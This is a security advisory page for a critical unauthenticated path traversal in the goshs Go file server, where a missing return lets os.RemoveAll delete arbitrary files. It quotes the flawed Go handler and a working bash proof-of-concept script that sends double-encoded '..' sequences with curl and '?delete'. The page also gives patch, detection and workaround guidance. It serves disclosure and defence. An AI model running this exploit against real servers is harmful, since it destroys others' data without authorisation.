goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)GHSA-6qcc-6q27-whp8
CRITICALFix: patrickhener/goshs@237f3afGHSA-6qcc-6q27-whp8 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/patrickhener/goshs. A fix is available for github.com/patrickhener/goshs — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6qcc-6q27-whp8.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/patrickhener/goshsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
deleteFile()missing return after path traversal check |httpserver/handler.go:645-671
The finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/handler.go:645-671
Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)
The function detects .. in the decoded path but does not return.
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))
fileCleaned, _ := url.QueryUnescape(upath)
if strings.Contains(fileCleaned, "..") {
w.WriteHeader(500)
_, err := w.Write([]byte("Cannot delete file"))
if err != nil {
logger.Errorf("error writing answer to client: %+v", err)
}
// BUG: no return, falls through to os.RemoveAll
}
deletePath := filepath.Join(fs.Webroot, fileCleaned)
err := os.RemoveAll(deletePath) // always executes
Root causes:
Missing return after the guard makes the check dead code
Impact: Unauthenticated arbitrary file/directory deletion.
PoCs:
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")
URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"
echo "[*] Target: ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
echo "[*] HTTP ${HTTP_CODE}"
To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/patrickhener/goshs | all versions | 1.1.5-0.20260401172448-237f3af891a9go get github.com/patrickhener/goshs@v1.1.5-0.20260401172448-237f3af891a9 |
Affected Products
goshsgoshsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6qcc-6q27-whp8 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-6qcc-6q27-whp8 in your dependencies?
Find it across Go, including transitive dependencies.